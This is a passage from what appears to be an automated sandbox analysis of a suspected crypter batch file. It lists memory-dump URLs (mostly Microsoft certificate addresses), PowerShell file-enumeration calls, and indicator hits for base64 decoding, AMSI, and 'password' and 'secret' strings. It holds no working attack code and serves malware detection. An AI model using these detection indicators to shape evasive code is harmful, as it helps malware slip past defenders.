"00000000-00001132.00000001.135191.76A70000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00001132.00000001.135191.76A70000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:sm'b=%pcsmp2;ix'o5@8v5" - Source: "00000000-00001132.00000001.135191.76A70000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003984.00000000.135868.9CFB0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00003984.00000000.135868.9CFB0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00003984.00000000.135868.9CFB0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm]x+,pp;!" - Source: "00000000-00003984.00000000.135868.9CFB0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003984.00000000.135868.9CFB0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00003984.00000000.135868.9CFB0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00003984.00000001.136212.82AD9000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00003984.00000001.136212.82C50000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00003984.00000001.136212.82C50000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00003984.00000001.136212.82C50000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00003984.00000001.136212.82C50000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportmpupdateservice77bdaf73-b396-481f-9042-ad358843ec24calrpc:[impcpyacltr1d8d3448-2a8d-409f-841d-2db9e0220897]indows" - Source: "00000000-00003984.00000001.136212.9CFC4000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003984.00000001.136212.9CFC4000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00003984.00000001.136212.9CFC4000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00003984.00000001.136212.9CFC4000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm]x+,pp;!" - Source: "00000000-00003984.00000001.136212.9CFC4000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003984.00000001.136212.9CFC4000.00000004.mdmp") Found URL "http://www.microsoft.comsystem.transactions," - Source: "00000000-00003984.00000001.136212.9CFC4000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>g%!]+1.3.6.1.4.1.311.2.1.10cryptsipgetcapswvtasn1spclinkdecodecryptsipgetcapsdecoderecipientid1.3.6.1.4.1.311.16.1.11.3.6.1.4.1.311.16.41.3.6.1.4.1.311.2.1.201.3.6.1.4.1.311.2.1.121.3.6.1.4.1.311.2.1.15decodeattrsequence1.3.6.1.4.1.311.2.1.251.3.6.1.4.1.311.2.1.281.3.6.1.4.1.311.2.1.41.3.6.1.4.1.311.2.1.271.3.6.1.4.1.311.2.4.4wvtasn1spclinkdecode1.3.6.1.4.1.311.2.1.111.3.6.1.4.1.311.2.1.30wvtasn1spcsiginfodecodecryptsipgetcapscryptsipgetcapscryptsipgetcapswvtasn1spclinkdecode1.3.6.1.4.1.311.2.1.261.3.6.1.4.1.311.2.4.31.3.6.1.4.1.311.2.4.2esdsipgetcaps(" - Source: "00000000-00003984.00000001.136212.9CFC4000.00000004.mdmp") Found URL "http://www.microsoft.com0orpoond1cros90134z0h+washinmicrosoft" - Source: "00000000-00003984.00000001.136212.9CFC4000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lg" - Source: "00000000-00003984.00000001.136212.9D0B0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l?" - Source: "00000000-00003984.00000001.136212.9D0B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00003984.00000001.136212.9D0B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00003984.00000001.136212.9D0B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00003984.00000001.136212.9D0B0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportindows" - Source: "00000000-00003984.00000001.136212.9D13A000.00000004.mdmp") Found URL "http://www.microsoft.com0-" - Source: "00000000-00003984.00000001.136212.9D14B000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00003984.00000001.136212.9D14B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00003984.00000001.136212.9D14B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003984.00000001.136212.9D14B000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwashington1redmond1microsoft" - Source: "00000000-00003984.00000001.136212.9D14B000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00003984.00000001.136212.9D14B000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00003984.00000001.136212.9D14B000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00003984.00000001.136212.9D180000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=623636" - Source: "00000000-00003984.00000001.136212.9D1AA000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%lu&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00008016.00000001.138472.4443A000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&forceupdatefrommuhttpupdatealtlocationcloudbasedbehaviorblockingsignaturedisablenotificationdisablescheduledsignatureupdateonbatterysignaturecategoryidnissignatureslastupdatedsignatureupdatecatchupintervalenableemergencysigslastemergencysigchecknissignatureversiondeltaupdatefailure%mpconfig_productappdatapath%\definition" - Source: "00000000-00008016.00000001.138472.4443A000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportdisableblockatfirstseenlocalsettingoverridesubmitsamplesconsentheartbeatsamplingrateheartbeatdelayindaysbypassinternetcheckssloptionslastmapssuccesstimemapslatencyretrytimeoutthreatseveritydefaultactionlastmapsfailuretimetsstarttimetsstatetssourcetsexpirationtimedisableprivacymodetsdailyquotauilockdownallowuseruiaccessnotification_suppressadvertiselastscheduledsuppresswdonotificationsuppressrebootnotificationpauseupdateexpirationtimepauseupdatestarttimedisablelastaccesstimesuppressionlastheartbeatsystimeproxyforceignorecacheinternalforceuupdisableasyncscanonclosedisableinjectionenablertpasyncthrottlingasynconopenvolumesdlpshowdialogsrtpasyncthrottlepercentvaluedlpdisableprintfileheuristicenablebrowserpasteenforcementdisablecopyaccelerationforsessionzerodlpdisablebrowsercachedynamicinjectionthresholdforcopyaccelerationdisabletpexclusionsdlpbrowsercachecleanupintervaldynamicinjectiontimewindowforcopyaccelerationdlpbrowsercloudegressbypassdurationdlpbrowserstalecachecleanupintervalfilterexperimentmodepreventplatformupdatempconfig_productcodenamecopyacceleratorcancellablecopysupportmpconfig_productpathmpconfig_productuserappdatapathmpconfig_productappdatapath12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_appdataroot\msmplics.dllmpconfig_reportingguidorrupted_previous_tspreferenceconfigs.snptpconfigsnapshot.snptspolicyconfigs.snphklm\failed" - Source: "00000000-00008016.00000001.138472.4443A000.00000002.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00008016.00000001.138472.8D730000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00008016.00000001.138472.8F030000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008016.00000001.138472.8F030000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00008016.00000001.138472.8F030000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00008016.00000001.138472.8F030000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportindows" - Source: "00000000-00008016.00000001.138472.A77B0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00008016.00000001.138472.A77B0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00008016.00000001.138472.A77B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00008016.00000001.138472.A77B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm]x+,2.5.29.172.5.29.10sdcb!5w,roviderrovider5e0droviderwashington1redmond1microsoft" - Source: "00000000-00008016.00000001.138472.A77B0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00008016.00000001.138472.A77B0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00008016.00000001.138472.A77B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00008016.00000001.138472.A77B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008016.00000001.138472.A77B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00008016.00000001.138472.A77B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00008016.00000001.138472.A7A00000.00000004.mdmp") Found URL "http://www.microsoft.com020230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00008016.00000001.138472.A7A00000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008016.00000001.138472.A7A00000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%2020j]w)xnc" - Source: "00000000-00008016.00000001.138472.A7A00000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/wd^s/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00008016.00000001.138472.A7A00000.00000004.mdmp") Found URL "http://www.microsoft.com0-" - Source: "00000000-00008016.00000001.138472.A7A00000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00008016.00000001.138472.A7A00000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00008016.00000001.138472.A7A00000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0xcq" - Source: "00000000-00008016.00000001.138472.A7A00000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0-os*or-obw" - Source: "00000000-00008016.00000001.138472.A7A00000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl@ns/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00008016.00000001.138472.A7A00000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%ld.htmlmpoav_forcedeepscan" - Source: "00000000-00008016.00000002.140393.5AC73000.00000002.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00008016.00000002.140393.8D730000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00008016.00000002.140393.8F030000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008016.00000002.140393.8F030000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00008016.00000002.140393.8F030000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00008016.00000002.140393.8F030000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportindows" - Source: "00000000-00008016.00000002.140393.A77C9000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00008016.00000002.140393.A77C9000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00008016.00000002.140393.A77C9000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00008016.00000002.140393.A77C9000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm]x+,2.5.29.172.5.29.10sdcb!5w,roviderrovider5e0droviderwashington1redmond1microsoft" - Source: "00000000-00008016.00000002.140393.A77C9000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00008016.00000002.140393.A77C9000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00008016.00000002.140393.A77C9000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00008016.00000002.140393.A77C9000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008016.00000002.140393.A77C9000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00008016.00000002.140393.A77C9000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00008016.00000002.140393.A7A1A000.00000004.mdmp") Found URL "http://www.microsoft.com020230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00008016.00000002.140393.A7A1A000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008016.00000002.140393.A7A1A000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%2020j]w)xnc" - Source: "00000000-00008016.00000002.140393.A7A1A000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/wd^s/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00008016.00000002.140393.A7A1A000.00000004.mdmp") Found URL "http://www.microsoft.com0-" - Source: "00000000-00008016.00000002.140393.A7A1A000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00008016.00000002.140393.A7A1A000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00008016.00000002.140393.A7A1A000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0xcq" - Source: "00000000-00008016.00000002.140393.A7A1A000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008016.00000002.140393.A7AB2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0-os*or-obw" - Source: "00000000-00008016.00000002.140393.A7AB2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl@ns/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00008016.00000002.140393.A7AB2000.00000004.mdmp") Found URL "http://www.microsoft.com0-" - Source: "00000000-00008016.00000002.140393.A7AB2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00008016.00000002.140393.A7AB2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki" - Source: "00000000-00008016.00000002.140393.A7AB2000.00000004.mdmp")4b:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00001132) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00001132) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00001132) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00001132) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00001132) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00001132) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00001132) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00001132) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00001132) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00001132) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00001132) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00001132) "powershell.exe" called "FindNextFileW" with parameter 3b9003e4f27d92e40668f0efad11e022 (UID: 00000000-00001132) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00001132) "powershell.exe" called "FindNextFileW" with parameter 86af2f4f2745738837c95f24472c32ca (UID: 00000000-00001132) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00001132) "powershell.exe" called "FindNextFileW" with parameter ce0fd4f5b50baa17e7b80e4ee874ad11 (UID: 00000000-00001132) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00001132) "powershell.exe" called "FindNextFileW" with parameter 990501e6199819806f01c8ecac88baac (UID: 00000000-00001132) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00001132)4c:T1219,file/memory contains long string with (Indicator: "base64"; File: "STAZ520_Crypter_Install.bat") file/memory contains long string with (Indicator: "FromBase64String"; File: "STAZ520_Crypter_Install.bat") file/memory contains long string with (Indicator: "base64"; File: "AMSI") file/memory contains long string with (Indicator: "FromBase64String"; File: "AMSI") file/memory contains long string with (Indicator: "base64"; File: "powershell.exe") file/memory contains long string with (Indicator: "FromBase64String"; File: "powershell.exe") Found string "ECDSA/SHA384" (Indicator: "ecdsa"; Source: "00000000-00001132.00000000.134891.76850000.00000004.mdmp, 00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00001132.00000000.134891.76850000.00000004.mdmp, 00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found string "System.Security.Cryptography.Algorithms" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found string "System.Security.Cryptography.Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found string "System.Security.Cryptography.Csp" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found string "System.Security.Cryptography.Encoding" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found string "System.Security.Cryptography.OpenSsl" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found string "System.Security.Cryptography.Pkcs" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found string "System.Security.Cryptography.Primitives" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp") Found string "icrosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00001132.00000001.135191.5C470000.00000004.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00001132.00000001.135191.5C470000.00000004.mdmp, 00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found string "ECDSA/SH" (Indicator: "ecdsa"; Source: "00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found string "[System.Security.Cryptography.HashAlgorithm]" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found string "system.security.cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001132.00000001.135191.D9E70000.00000004.mdmp, 00000000-00001132.00000001.135191.D9E90000.00000004.mdmp, 00000000-00001132.00000001.135191.D9EB0000.00000004.mdmp, 00000000-00001132.00000001.135191.D9EE0000.00000004.mdmp, 00000000-00001132.00000001.135191.D9F00000.00000004.mdmp") Found string "rngcryptoserviceprovider" (Indicator: "rngcryptoserviceprovider"; Source: "00000000-00001132.00000001.135191.D9E70000.00000004.mdmp") Found string "rijndaelmanagedtransformmode" (Indicator: "rijndael"; Source: "00000000-00001132.00000001.135191.D9E70000.00000004.mdmp") Found string "rijndaelmanagedtransformmode" (Indicator: "Rijndaelmanaged"; Source: "00000000-00001132.00000001.135191.D9E70000.00000004.mdmp") Found string "tobase64transform" (Indicator: "base64"; Source: "00000000-00001132.00000001.135191.D9E70000.00000004.mdmp") Found string "system.security.cryptography.x509certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001132.00000001.135191.D9E70000.00000004.mdmp, 00000000-00001132.00000001.135191.D9E90000.00000004.mdmp, 00000000-00001132.00000001.135191.D9EB0000.00000004.mdmp, 00000000-00001132.00000001.135191.D9EE0000.00000004.mdmp, 00000000-00001132.00000001.135191.D9F00000.00000004.mdmp") Found string "md5cryptoserviceprovider" (Indicator: "md5cryptoserviceprovider"; Source: "00000000-00001132.00000001.135191.D9E90000.00000004.mdmp") Found string "frombase64transform" (Indicator: "base64"; Source: "00000000-00001132.00000001.135191.D9E90000.00000004.mdmp")4d:T4e5,file/memory contains long string with (Indicator: "Get-Content"; File: "STAZ520_Crypter_Install.bat") file/memory contains long string with (Indicator: "Get-Content"; File: "AMSI") file/memory contains long string with (Indicator: "Get-Content"; File: "powershell.exe") file/memory contains long string with (Indicator: "Get-Content"; Source: "00000000-00003984.00000000.135868.82AB0000.00000004.mdmp, 00000000-00003984.00000001.136212.82AB0000.00000004.mdmp") file/memory contains long string with (Indicator: "Get-Content"; Source: "00000000-00003984.00000000.135868.82AB0000.00000004.mdmp, 00000000-00003984.00000000.135868.82C50000.00000004.mdmp, 00000000-00003984.00000000.135868.84580000.00000004.mdmp, 00000000-00003984.00000000.135868.9CFB0000.00000004.mdmp, 00000000-00003984.00000001.136212.82AB0000.00000004.mdmp, 00000000-00003984.00000001.136212.82AD9000.00000004.mdmp, 00000000-00003984.00000001.136212.82C50000.00000004.mdmp, 00000000-00003984.00000001.136212.84580000.00000004.mdmp, 00000000-00003984.00000001.136212.9CFC4000.00000004.mdmp, 00000000-00003984.00000001.136212.9D0B0000.00000004.mdmp") file/memory contains long string with (Indicator: "Get-Content"; Source: "00000000-00003984.00000001.136212.82AD9000.00000004.mdmp")4e:T5aa,Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00001132.00000001.135191.D9E90000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00001132.00000001.135191.D9EB0000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00001132.00000001.135191.D9EB0000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00001132.00000001.135191.D9EE0000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00001132.00000001.135191.D9EE0000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: 